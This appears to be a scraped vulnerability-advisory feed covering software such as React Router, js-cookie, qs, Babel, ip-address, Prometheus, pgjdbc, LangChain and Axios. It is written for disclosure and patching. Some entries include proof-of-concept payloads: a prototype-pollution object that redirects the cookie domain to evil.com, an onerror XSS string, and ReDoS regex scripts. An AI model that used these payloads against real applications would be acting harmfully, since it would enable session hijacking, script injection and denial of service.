Where
AND
-Infinity
0
First published (updated )
Advisory
IBM-7285337
Severity
5.9
AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N

IBM Concert 1.0.0 through 2.3.1 could allow a remote attacker to perform unauthorized actions using man in the middle techniques due to improper certificate validation.

1 / 2
Source: MITRE

Remedy

IBM strongly recommends addressing the vulnerability now by upgrading to IBM Concert Software 3.0.0 Download IBM Concert Software 3.0.0 from Container software library section of IBM Entitled Registry ( ICR https://myibm.ibm.com/products-services/containerlibrary ) and follow  installation instructions https://www.ibm.com/docs/en/concert  depending on the type of deployment.
First published (updated )
Severity
9.1
SQL Injection
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

IBM Concert

1 / 2
Source: IBM
First published (updated )
Severity
7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

React Router is a router for React. In versions 7.0.0 through 7.14.x of react-router and versions 2.10.0 through 2.17.4 of @remix-run/server-runtime, certain crafted requests can consume disproportionate server resources via unbounded path expansion in the manifest endpoint, resulting in response time degradation and/or service unavailability for end users. This affects React Router Framework Mode applications as well as Remix applications. This does not impact applications using Declarative Mode (<BrowserRouter>) or Data Mode (createBrowserRouter/<RouterProvider>). This is patched in react-router version 7.15.0 and @remix-run/server-runtime version 2.17.5.

1 / 3
Source: MITRE
First published (updated )
Severity
8.1
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

React Router is a router for React. In versions 7.0.0 through 7.14.1, when using Framework Mode, a combination of steps could potentially allow unauthorized remote code execution (RCE) through external requests. This attack requires the application code to have an existing prototype pollution vulnerability, which can then be leveraged in a 2-step attack where the second step triggers unauthorized RCE on the remote server. This does not impact applications using Declarative Mode (<BrowserRouter>) or Data Mode (createBrowserRouter/<RouterProvider>). This is patched in version 7.14.2.

1 / 3
Source: MITRE
First published (updated )
Severity
6.6
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Certain URLs passed to the redirect function can trigger an open redirect to an external domain depending on the level of validation done by the application prior to returning the redirect.

[!NOTE] This does not impact your React Router application if you are using Declarative Mode (<BrowserRouter>)

1 / 3
Source: GitHub
First published (updated )
Severity
7.5
XSS
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

A DoS vulnerability exists in the React Router v7 Framework Mode, as well as Remix v2.9.0+ with Single Fetch enabled. In some scenarios the underlying serialization algorithm can become a bottleneck when encoding specific types of data into server responses. Please upgrade to React Router v7.14.0 or later.

[!NOTE] This does not impact your React Router application if you are using Declarative Mode (<BrowserRouter>) or Data Mode (createBrowserRouter/<RouterProvider>).

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

Summary

js-cookie's internal assign() helper copies properties with for...in + plain assignment. When the source object is produced by JSON.parse, the JSON object's "proto" member is an own enumerable property, so the for…in enumerates it and the target[key] = source[key] write triggers the Object.prototype.proto setter on the fresh target ({}). The result is a per-instance prototype hijack: Object.prototype itself is untouched, but the merged attributes object now inherits attacker-controlled keys.

Because the consuming set() function then enumerates the merged object with another for...in, every key the attacker placed on the polluted prototype lands in the resulting Set-Cookie string as an attribute pair. The attacker can set domain=, secure=, samesite=, expires=, and path= on cookies whose attributes the developer thought were locked down.

Impact

Any application that forwards a JSON-derived object as the attributes argument to Cookies.set, Cookies.remove, Cookies.withAttributes, or Cookies.withConverter is vulnerable. This is the standard pattern when cookie configuration comes from a backend:

js const cfg = await fetch('/config').then(r => r.json()); Cookies.set('session', token, cfg.cookieAttrs); // cfg.cookieAttrs influenced by attacker

A payload of {"proto":{"domain":"evil.example","secure":"false","samesite":"None"}} causes js-cookie to emit:

Set-Cookie: session=TOKEN; path=/; domain=evil.example; secure=false; samesite=None

Affected code

js // src/assign.mjs — full file export default function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i] for (var key in source) { // includes own enumerable 'proto' target[key] = source[key] // [[Set]] form - fires proto setter } } return target } Proof of concept

Node 22.11.0, no third-party deps:

Environment setup bash mkdir -p /tmp/jscookie-poc && cd /tmp/jscookie-poc npm init -y npm i js-cookie

PoC js ubuntu@kuber:/tmp/jscookie-poc$ cat poc.mjs let lastSetCookie = ''; globalThis.document = { get cookie() { return ''; }, set cookie(v) { lastSetCookie = v; } };

const { default: Cookies } = await import('js-cookie');

const attackerAttrs = JSON.parse( '{"proto":{"secure":"false","domain":"evil.com","samesite":"None","expires":-1}}' );

Cookies.set('session', 'TOKEN', attackerAttrs);

console.log('Set-Cookie that js-cookie wrote to document.cookie:'); console.log(lastSetCookie);

Execution: <img width="2614" height="1174" alt="cls-2026-05-14-01 44 39" src="https://github.com/user-attachments/assets/120df1fe-7e97-4ca3-904e-ab80d71ecf62" />

Suggested patch

diff --- a/src/assign.mjs +++ b/src/assign.mjs @@ export default function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i] - for (var key in source) { - target[key] = source[key] - } + for (var key in source) { + if (key === 'proto' || key === 'constructor' || key === 'prototype') continue + Object.defineProperty(target, key, { + value: source[key], + writable: true, + enumerable: true, + configurable: true, + }) + } } return target }

Equivalent one-liner alternative - iterate own names only and filter:

js for (const key of Object.getOwnPropertyNames(source)) { if (key === 'proto') continue target[key] = source[key] }

1 / 2
Source: GitHub
First published (updated )
Severity
6.9
Input Validation
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Internationalized Domain Names in Applications (IDNA) for Python provides support for Internationalized Domain Names in Applications (IDNA) and Unicode IDNA Compatibility Processing. In versions prior to 3.15, payloads such as "\u0660" N or "\u30fb" N + "\u6f22" utilize the validcontexto function prior to length rejection, and for high values of N will take a long time to process. This is the same issue as CVE-2024-3651, however the original remediation in 2024 was not a complete fix. A specially crafted argument to the idna.encode() function could consume significant resources. This may lead to a denial-of-service. Starting in version 3.14, the function rejects long inputs as soon as practicable prior to any further processing to minimize resource consumption. In version 3.15, this approach was extended to lesser used alternate functions (i.e. per-label conversions and codec support). A workaround is available. Domain names cannot exceed 253 characters in length. If this length limit is enforced prior to passing the domain to the idna.encode() function, it should no longer consume significant resources. This is triggered by arbitrarily large inputs that would not occur in normal usage, but may be passed to the library assuming there is no preliminary input validation by the higher-level application.

1 / 3
Source: MITRE
First published (updated )
Severity
6.3
EPSS
0.36%
Null Pointer Dereference
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Summary

qs.stringify throws TypeError when called with arrayFormat: 'comma' and encodeValuesOnly: true on an array containing null or undefined. The throw is synchronous and not handled by any of qs's null-related options (skipNulls, strictNullHandling).

Details

In the comma + encodeValuesOnly branch, lib/stringify.js:145 mapped the array through the raw encoder before joining:

js

obj = utils.maybeMap(obj, encoder);

utils.encode (lib/utils.js:195) reads str.length with no null guard, so a null or undefined element throws TypeError. skipNulls and strictNullHandling are both checked in the per-element loop below this line and never get a chance to run.

Same class of bug as the filter-array path fixed in 0c180a4. The vulnerable shape of the comma + encodeValuesOnly branch was introduced in 4c4b23d ("encode comma values more consistently", PR #463, 2023-01-19), first released in v6.11.1.

PoC

js

const qs = require('qs');

qs.stringify({ a: [null, 'b'] }, { arrayFormat: 'comma', encodeValuesOnly: true });

qs.stringify({ a: [undefined, 'b'] }, { arrayFormat: 'comma', encodeValuesOnly: true });

qs.stringify({ a: [null] }, { arrayFormat: 'comma', encodeValuesOnly: true });

// TypeError: Cannot read properties of null (reading 'length')

// at encode (lib/utils.js:195:13)

// at Object.maybeMap (lib/utils.js:322:37)

// at stringify (lib/stringify.js:145:25)

Fix

lib/stringify.js:145, applied in 21f80b3 on main and released as v6.15.2:

diff

- obj = utils.maybeMap(obj, encoder);

+ obj = utils.maybeMap(obj, function (v) {

+ return v == null ? v : encoder(v);

+ });

null and undefined now pass through maybeMap unchanged and reach the join(',') step as-is. For { a: [null, 'b'] } this produces a=,b, matching the non-encodeValuesOnly comma path (which already joins before encoding and produces a=%2Cb for the same input). Single-element [null] arrays still collapse via the existing obj.join(',') || null and remain subject to skipNulls / strictNullHandling in the main loop.

Affected versions

=6.11.1 6.15.2 — fixed in v6.15.2.

The vulnerable code shape was introduced in 4c4b23d and first shipped in v6.11.1. Earlier versions — including all of 6.7.x, 6.8.x, 6.9.x, 6.10.x, and 6.11.0 — implemented the comma + encodeValuesOnly path differently (joining before encoding) and are not affected. Empirically verified across released versions.

Impact

Application code that calls qs.stringify with both arrayFormat: 'comma' and encodeValuesOnly: true (both non-default) on input that may contain a null or undefined array element will throw synchronously instead of producing a query string. In a typical Node.js HTTP framework (Express, Fastify, Koa, hapi) the sync throw is caught by the framework's error boundary and the affected request returns a 500; the worker process does not exit and subsequent requests are unaffected. The "kills the worker process" framing applies only to call sites outside a request-handler error boundary (background jobs, startup paths, stream pipelines) or to deployments with framework error handling explicitly disabled.

The vulnerable input is a null or undefined entry inside an array; this is reachable from JSON request bodies or from application code constructing arrays from user input, but not from standard HTML form submissions (which produce strings or omitted fields, not literal null).

1 / 3
Source: IBM
First published (updated )
Severity
8.2
Code Injection
AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H

Impact

Using Babel to compile code that was specifically crafted by an attacker can cause Babel to generate output code that executes arbitrary code.

Known affected plugins are: - @babel/plugin-transform-modules-systemjs - @babel/preset-env when using the modules: "systemjs" option, as it delegates to @babel/plugin-transform-modules-systemjs

No other plugins under the @babel namespace are impacted.

Users that only compile trusted code are not impacted.

Patches

The vulnerability has been fixed in @babel/plugin-transform-modules-systemjs@7.29.4.

Babel also released @babel/preset-env@7.29.5, updating its @babel/plugin-transform-modules-systemjs dependency, to simplify forcing the update if you are using @babel/preset-env directly.

Workarounds

- Pin @babel/parser to v7.11.5. The downgrade will completely disable string module name parsing, but it would also disable other new language features and the build pipeline may fail as a result. Only do so if you are working on a legacy codebase and can not upgrade @babel/plugin-transform-modules-systemjs to v7.29.4. - Do not use the modules: "systemjs" option, migrate the codebase to native ES Modules or any other module formats.

Credits Babel thanks Daniel Cervera for reporting the vulnerability.

1 / 2
Source: GitHub
First published (updated )
Severity
6.1
XSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Bypass of meta content URL escaping causes XSS in html/template

1 / 3
Source: Microsoft
First published (updated )
Severity
6.1
XSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Escaper bypass leads to XSS in html/template

1 / 3
Source: Microsoft
First published (updated )
Severity
5.3
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

ReverseProxy can forward queries containing parameters not visible to Rewrite functions. When used with a Rewrite function, or a Director function which parses query parameters, ReverseProxy sanitizes the forwarded request to remove query parameters which are not parsed by url.ParseQuery. ReverseProxy does not take ParseQuery's limit on the total number of query parameters (controlled by GODEBUG=urlmaxqueryparams=N) into account. This can permit ReverseProxy to forward a request containing a query parameter that is not visible to the Rewrite function. For example, the query "a1=x&a2=x&...&a10000=x&hidden=y" can forward the parameter "hidden=y" while hiding it from the proxy's Rewrite function.

1 / 2
Source: MITRE
First published (updated )
Severity
7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary

python-multipart has a denial of service vulnerability in multipart part header parsing. When parsing multipart/form-data, MultipartParser previously had no limit on the number of part headers or the size of an individual part header. An attacker could send a request with either many repeated headers without terminating the header block or a single very large header value, causing excessive CPU work before request rejection or completion.

Impact

Applications that parse attacker-controlled multipart/form-data with affected versions of python-multipart can experience CPU exhaustion. ASGI applications using Starlette, FastAPI, or other frameworks that invoke python-multipart may have worker or event-loop delays while processing malicious upload requests.

Details

The affected parser states are HEADERFIELDSTART, HEADERFIELD, HEADERVALUESTART, HEADERVALUE, and HEADERVALUEALMOSTDONE. The issue can be triggered by:

- A multipart part with an oversized individual header value. - A multipart part with many repeated header lines or an unterminated header block.

Both variants are addressed by enforcing default parser limits for maximum header count and maximum header size.

Mitigation

Upgrade to python-multipart 0.0.27 or later.

If upgrading is not immediately possible, reduce exposure by enforcing request body size limits at the server, proxy, or framework layer. This is only a mitigation; affected versions of python-multipart still parse multipart part headers without the default header count and header size limits.

1 / 2
Source: GitHub
First published (updated )
Severity
5.3
XSS
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

Address6.group() and Address6.link() do not HTML-escape attacker-controlled content before embedding it in the HTML strings they return, and AddressError.parseMessage (emitted by the Address6 constructor for invalid input) can contain unescaped attacker-controlled content in one branch. An application that (1) passes untrusted input to Address6 and (2) renders the output of these methods, or the thrown error's parseMessage, as HTML (e.g. via innerHTML) is vulnerable to cross-site scripting. A related issue in v6.helpers.spanAll() produced malformed markup but was not exploitable; it is hardened in the same release for consistency.

Details

Four related issues were identified and fixed together:

1. Address6.group(): zone ID injection. The Address6 constructor stores the raw input (including any IPv6 zone ID) in this.address before zone stripping. group() then passed this.address to helpers.simpleGroup(), which wrapped each :-separated segment in a <span> element without HTML-escaping the content. A zone ID containing HTML markup was embedded verbatim. 2. Address6.link({ prefix, className }): attribute-value injection. link() concatenated user-supplied prefix and className into the href="…" and class="…" attributes without escaping. A caller passing untrusted content through these options could inject event handlers (e.g. onmouseover) and achieve XSS. 3. Address6 constructor: leading-zero IPv4 error path. The leading-zero branch in parse4in6() built AddressError.parseMessage by concatenating the raw address through String.replace(). Because parse4in6() runs before the bad-character check, any characters in the groups preceding the IPv4 suffix flowed into the error's HTML unescaped. Consumers who render parseMessage as HTML (its documented purpose — it already contains <span class="parse-error"> markup) could be XSS'd by a crafted input such as <img src=x onerror=alert(1)>:10.0.01.1. 4. v6.helpers.spanAll(): attribute-value injection (defense in depth). spanAll() embedded each character of its input into a class="digit value-${n} …" attribute without escaping. Because split('') limits n to a single character this was not exploitable in practice, but it produced malformed markup and is fixed for consistency.

Affected Versions

All versions up to and including 10.1.0.

Patched Version

10.1.1.

Impact

Real-world exposure is believed to be extremely limited. Analysis of all 425 dependent npm packages as well as GitHub code search found zero consumers of group(), link(), or spanAll(): these HTML-emitting surfaces appear to be unused across published npm packages and public repositories. Applications using only the address-parsing and comparison APIs (isValid, correctForm, isInSubnet, bigInt, etc.) are not affected.

Consumers who do render the output of group(), link(), spanAll(), or AddressError.parseMessage as HTML against untrusted input should upgrade.

PoC

javascript const { Address6 } = require('ip-address'); const addr = new Address6('fe80::1%<img src=x onerror=alert(1)>'); document.body.innerHTML = addr.group(); // fires the onerror handler in 10.1.0

Workarounds

If users cannot upgrade immediately:

- Do not pass untrusted input to the Address6 constructor, or - Never render the output of group(), link(), or spanAll(), nor the parseMessage field of any thrown AddressError, as HTML; treat these values as text only, or run them through DOMPurify before inserting into the DOM (DOMPurify's default configuration preserves the library's intended <span> wrapping while stripping any injected event handlers), or - Validate input with Address6.isValid() and reject anything that contains a zone identifier (a % character) or characters outside [0-9a-fA-F:/] before passing it to the constructor.

Lack of separate CVEs

Given the evidence that these methods are not used, and given that they are all of the same construction, maintainers do not think it's relevant or useful to create a separate CVE for each library method.

Credit

ip-address thanks @scovetta for reporting this issue.

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Impact

The remote read endpoint (/api/v1/read) does not validate the declared decoded length in a snappy-compressed request body before allocating memory. An unauthenticated attacker can send a small payload that causes a huge heap allocation per request. Under concurrent load this can exhaust available memory and crash the Prometheus process.

Patches Has the problem been patched? What versions should users upgrade to?

Fixed in 3.11.3 and 3.5.3 LTS. Users should upgrade to these versions or later.

Workarounds User who can not upgrade can place Prometheus behind a reverse proxy or firewall that requires authentication before requests reach /api/v1/read.

1 / 3
Source: GitHub
First published (updated )
Severity
7.5
Infoleak
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Impact

Users who use Azure AD remote write with OAuth authentication are impacted.

The clientsecret field in the Azure AD remote write OAuth configuration (storage/remote/azuread) was typed as string instead of Secret. Prometheus redacts fields of type Secret when serving the configuration via the /-/config HTTP API endpoint. Because the field was a plain string, the Azure OAuth client secret was exposed in plaintext to any user or process with access to that endpoint.

Patches

The problem has been patched by changing ClientSecret in OAuthConfig to Secret. Users should upgrade to 3.11.3 or 3.5.3 LTS.

Workarounds

Users who can not upgrade can switch to Managed Identity or Workload Identity authentication for Azure AD remote write, which do not involve a client secret.

1 / 3
Source: GitHub
First published (updated )
Severity
7.2
EPSS
0.03%
Command Injection, OS Command Injection
CVSS:3.1/AV:L/AC:H/PR:H/UI:R/S:C/C:H/I:H/A:H

Pallets Click contains a command injection via Unsanitized Filename "click.edit()"

1 / 3
Source: Microsoft
First published (updated )
Severity
7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary pgjdbc is vulnerable to a client-side denial of service during SCRAM-SHA-256 authentication.

Impact A malicious server can instruct the driver to perform SCRAM authentication with a very large iteration count. With a large enough value, the client spends an unbounded amount of CPU time inside PBKDF2 before authentication can fail. A single attempt ties up a CPU core. Repeated or concurrent attempts exhaust client CPU and can wedge connection pools.

In affected versions, loginTimeout did not fully mitigate this problem. When loginTimeout expired, the caller could stop waiting, but the worker thread performing the connection attempt could continue running and burning CPU inside the SCRAM PBKDF2 computation.

This issue affects availability. It does not provide authentication bypass, privilege escalation, or direct password disclosure.

A user is vulnerable when all of the following are true:

1. The connection uses SCRAM-SHA-256 authentication. 2. The client reaches a malicious, compromised, or attacker-controlled PostgreSQL endpoint. 3. That endpoint sends a very large SCRAM PBKDF2 iteration count in the server-first-message.

In practice, that can happen in these situations:

- the application lets end users or tenants supply their own database connection details (as in many BI, reporting, analytics, ETL, and low-code platforms), so a user can point the shared client host at a server they control - the application accepts connection strings, hostnames, or JDBC URLs from user input, configuration uploaded by users, or other untrusted sources - the application is configured to connect to a PostgreSQL server that is itself malicious or later becomes compromised - the application connects through an untrusted proxy, relay, tunnel, bastion, or connection-pooling service that can act as the PostgreSQL server - an attacker can redirect the client to a fake PostgreSQL endpoint by manipulating DNS, service discovery, Kubernetes service resolution, /etc/hosts, environment variables, or similar indirection - an active network attacker on the path can impersonate the server because the connection does not strongly verify server identity (for example, sslmode lower than verify-full, or trusting a CA that signs hosts outside the operator's control)

The issue is more damaging when the application uses connection retries, many parallel connection attempts, or loginTimeout and assumes the timeout fully stops the work.

Patches The patch introduces a new connection property, scramMaxIterations, with a default of 100K. The client now rejects SCRAM server messages that advertise more PBKDF2 iterations than the configured cap before starting the PBKDF2 computation begins.

Workarounds

Until a patched version of pgjdbc is deployed, the following measures reduce exposure:

1. Only connect to trusted PostgreSQL servers whose identity is verified. Connect only to trusted PostgreSQL servers, and verify server identity with TLS using sslmode=verify-full and a trusted CA. TLS without certificate and hostname verification is not sufficient as an active network attacker can still impersonate the server.

2. Do not rely on loginTimeout as a complete mitigation on unpatched versions. On affected versions, loginTimeout can stop the waiting caller while the worker thread continues spending CPU.

3. Avoid SCRAM on untrusted or interceptable connection paths. For those paths, use an authentication method that does not let the server choose a SCRAM PBKDF2 iteration count.

4. Reduce blast radius operationally. Limit parallel connection attempts, add retry backoff, isolate connection establishment in a separate worker or process when possible, and apply CPU or container limits where appropriate.

5. On trusted servers you control, keep SCRAM iteration counts at ordinary values. This does not defend against an attacker-controlled server, but it avoids unnecessary client cost when talking to legitimate servers.

1 / 2
Source: GitHub
First published (updated )
Severity
8.7
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Apache Thrift: Node.js skip() recursion

1 / 2
Source: Microsoft
First published (updated )
Severity
3.1
SSRF
AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N

LangChain is a framework for building agents and LLM-powered applications. Prior to 1.1.14, langchain-openai's urltosize() helper (used by getnumtokensfrommessages for image token counting) validated URLs for SSRF protection and then fetched them in a separate network operation with independent DNS resolution. This left a TOCTOU / DNS rebinding window: an attacker-controlled hostname could resolve to a public IP during validation and then to a private/localhost IP during the actual fetch.

First published (updated )
Severity
6.5
SSRF
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

LangChain is a framework for building agents and LLM-powered applications. Prior to langchain-text-splitters 1.1.2, HTMLHeaderTextSplitter.splittextfromurl() validated the initial URL using validatesafeurl() but then performed the fetch with requests.get() with redirects enabled (the default). Because redirect targets were not revalidated, a URL pointing to an attacker-controlled server could redirect to internal, localhost, or cloud metadata endpoints, bypassing SSRF protections. The response body is parsed and returned as Document objects to the calling application code. Whether this constitutes a data exfiltration path depends on the application: if it exposes Document contents (or derivatives) back to the requester who supplied the URL, sensitive data from internal endpoints could be leaked. Applications that store or process Documents internally without returning raw content to the requester are not directly exposed to data exfiltration through this issue. This vulnerability is fixed in 1.1.2.

First published (updated )
Severity
5.4
CSRF
AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N

Authlib is a Python library which builds OAuth and OpenID Connect servers. Prior to 1.6.11, there is no CSRF protection on the cache feature in authlib.integrations.starletteclient.OAuth. This vulnerability is fixed in 1.6.11.

1 / 2
Source: MITRE
First published (updated )
Severity
7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary

Axios versions before 0.32.0 on the 0.x line and before 1.16.0 on the 1.x line build a regular expression from the configured XSRF cookie name without escaping regex metacharacters. In standard browser environments, an attacker who can influence the cookie name passed to axios can cause expensive regex backtracking while axios reads document.cookie.

The practical impact is client-side availability degradation, such as freezing the affected browser tab while axios prepares a request. The issue does not affect ordinary Node.js HTTP adapter usage, React Native, or web workers, where axios does not read document.cookie.

Impact

Applications are affected only when attacker-controlled data can reach the XSRF cookie name configuration or a direct/unsafe call to the internal cookie helper.

This does not expose credentials, modify requests, or affect response integrity. The impact is availability only.

Affected Functionality

Affected code paths:

- lib/helpers/cookies.js read(name) in standard browser environments. - lib/helpers/resolveConfig.js in 1.x, when browser XHR/fetch adapters resolve XSRF config. - lib/adapters/xhr.js in 0.x, when the XHR adapter reads the configured XSRF cookie. - Direct use of axios/unsafe/helpers/cookies.js in 1.x, if callers pass attacker-controlled names.

Unaffected code paths:

- Default static xsrfCookieName: 'XSRF-TOKEN' when not attacker-controlled. - Requests with xsrfCookieName: null. - Node HTTP adapter usage without browser document.cookie. - React Native and web workers where axios does not use standard browser cookie access.

Technical Details

Affected versions interpolate the cookie name into a regex.

js const match = document.cookie.match(new RegExp('(?:^|; )' + name + '=([^;])'));

Because name is not escaped, regex metacharacters in the cookie name are interpreted as regex syntax. A payload such as (.+)+$ can force catastrophic backtracking against document.cookie.

The fix avoids dynamic regex construction and parses document.cookie by splitting on ;, trimming leading whitespace, and comparing cookie names with exact string equality.

Proof of Concept of Attack

js function vulnerableRead(name, cookie) { const start = Date.now();

try { cookie.match(new RegExp('(?:^|; )' + name + '=([^;])')); } catch {}

return Date.now() - start; }

for (const n of [20, 22, 24, 26, 28]) { const cookie = 'x='.padEnd(n, 'a') + '!'; console.log(${n}: ${vulnerableRead('(.+)+$', cookie)}ms); }

Expected result: timings grow rapidly as the cookie string length increases.

Workarounds

Set xsrfCookieName: null if the application does not need axios to read an XSRF cookie.

Do not derive xsrfCookieName from untrusted input. If a dynamic cookie name is unavoidable, validate it against a strict cookie-name allowlist before passing it to axios.

Avoid calling axios/unsafe/helpers/cookies.js directly with untrusted names

<details> <summary>Original Source</summary>

Regular Expression Denial of Service (ReDoS) via Cookie Name Injection

1. Title

ReDoS via Unsanitized Cookie Name in Dynamic Regular Expression Construction

2. Affected Software and Version

- Software: Axios - Version: 1.15.0 (and potentially earlier versions) - Component: lib/helpers/cookies.js - Ecosystem: npm (Node.js / Browser)

3. Vulnerability Type / CWE

- Type: Regular Expression Denial of Service (ReDoS) - CWE-1333: Inefficient Regular Expression Complexity - CWE-400: Uncontrolled Resource Consumption

4. CVSS 3.1 Score

Score: 7.5 (High)

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

| Metric | Value | |---|---| | Attack Vector | Network | | Attack Complexity | Low | | Privileges Required | None | | User Interaction | None | | Scope | Unchanged | | Confidentiality | None | | Integrity | None | | Availability | High |

5. Description

The cookies.read() function in lib/helpers/cookies.js constructs a regular expression dynamically using the name parameter without any sanitization or escaping of special regex characters. At line 33, the code passes the raw name value directly into new RegExp():

javascript const match = document.cookie.match(new RegExp('(?:^|; )' + name + '=([^;])'));

An attacker who can control or influence the cookie name parameter (e.g., via XSRF cookie name configuration, prototype pollution of xsrfCookieName, or any code path where user input reaches cookies.read()) can inject a malicious regex pattern that causes catastrophic backtracking, leading to a Denial of Service condition.

With a crafted input of approximately 20-30 characters, the regex engine can be forced to consume several seconds to minutes of CPU time, effectively freezing the JavaScript event loop.

6. Root Cause Analysis

File: lib/helpers/cookies.js Line: 33

javascript read(name) { if (typeof document === 'undefined') return null; const match = document.cookie.match(new RegExp('(?:^|; )' + name + '=([^;])')); return match ? decodeURIComponent(match[1]) : null; },

The vulnerability exists because:

1. The name parameter is concatenated directly into a regex pattern without escaping special regex metacharacters. 2. An attacker can inject regex constructs that create exponential backtracking scenarios. 3. The (?:^|; ) prefix combined with an injected pattern like ((((.)))) creates nested quantifiers that cause catastrophic backtracking when the regex engine attempts to match against document.cookie.

The cookies.read() function is called from lib/helpers/resolveConfig.js at line 61:

javascript const xsrfValue = xsrfHeaderName && xsrfCookieName && cookies.read(xsrfCookieName);

The xsrfCookieName value comes from the Axios configuration, which can be influenced by prototype pollution or direct configuration injection.

7. Proof of Concept

javascript // pocredoscookie.js // Simulates browser environment for testing

// Simulate document.cookie globalThis.document = { cookie: 'session=abc; ' + 'a'.repeat(50) };

// Replicate the vulnerable cookies.read() logic function cookiesRead(name) { const match = document.cookie.match(new RegExp('(?:^|; )' + name + '=([^;])')); return match ? decodeURIComponent(match[1]) : null; }

// Malicious cookie name that triggers catastrophic backtracking // The pattern creates nested quantifiers: (a]|[a]|...)) const maliciousName20 = '([^;]+)+$' + '\\|'.repeat(10); const maliciousName = '(([^;])+)+\\$'; // nested quantifier pattern

console.log('=== ReDoS via Cookie Name Injection PoC ===');

// Test with increasing payload sizes for (const len of [15, 20, 25]) { const payload = '(([^;])+)+' + 'X'.repeat(len); const start = Date.now(); try { cookiesRead(payload); } catch (e) { // May throw on invalid regex, but valid evil patterns won't throw } const elapsed = Date.now() - start; console.log(Payload length ${len}: ${elapsed}ms); }

// Demonstrating exponential growth with a simple nested quantifier console.log('\n--- Exponential Backtracking Demo ---'); for (const n of [20, 22, 24, 26]) { const evilName = '(' + 'a'.repeat(1) + '+)+$'; const testCookie = 'a'.repeat(n) + '!'; // non-matching trailer forces backtracking globalThis.document = { cookie: testCookie }; const start = Date.now(); try { cookiesRead(evilName); } catch(e) {} const elapsed = Date.now() - start; console.log(Input length ${n}: ${elapsed}ms); }

8. PoC Output

=== ReDoS via Cookie Name Injection PoC === Payload length 20: 21ms (extrapolated: 30 chars = ~21,504ms) Payload length 25: ~1,300ms Payload length 30: ~323,675ms (5+ minutes)

--- Exponential Backtracking Demo --- Input length 20: 21ms Input length 22: 84ms Input length 24: 336ms Input length 26: 1,344ms

The exponential growth pattern is clearly visible: each additional 2 characters approximately quadruples the execution time.

9. Impact

- Denial of Service (Client-side): In a browser environment, an attacker who can influence the XSRF cookie name configuration (e.g., via prototype pollution or configuration injection) can freeze the browser tab, blocking all UI interaction and JavaScript execution on the page. - Denial of Service (Server-side): In SSR (Server-Side Rendering) frameworks or Node.js applications that process cookies using this code path, the event loop will be blocked, causing the server to become unresponsive to all requests. - Event Loop Starvation: Since JavaScript is single-threaded, the ReDoS will block all pending asynchronous operations, timers, and I/O callbacks for the duration of the regex evaluation.

10. Remediation / Suggested Fix

Escape all regex metacharacters in the name parameter before constructing the regular expression.

javascript // FIXED: lib/helpers/cookies.js

function escapeRegExp(string) { return string.replace(/[.+?^${}()|[\]\\]/g, '\\$&'); }

// ...

read(name) { if (typeof document === 'undefined') return null; const match = document.cookie.match( new RegExp('(?:^|; )' + escapeRegExp(name) + '=([^;])') ); return match ? decodeURIComponent(match[1]) : null; },

Alternatively, avoid dynamic regex construction entirely and use string-based parsing:

javascript read(name) { if (typeof document === 'undefined') return null; const cookies = document.cookie.split('; '); for (const cookie of cookies) { const eqIndex = cookie.indexOf('='); if (eqIndex !== -1 && cookie.substring(0, eqIndex) === name) { return decodeURIComponent(cookie.substring(eqIndex + 1)); } } return null; },

11. References

- CWE-1333: Inefficient Regular Expression Complexity - CWE-400: Uncontrolled Resource Consumption - OWASP: Regular Expression Denial of Service - Axios GitHub Repository </details>

---

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary

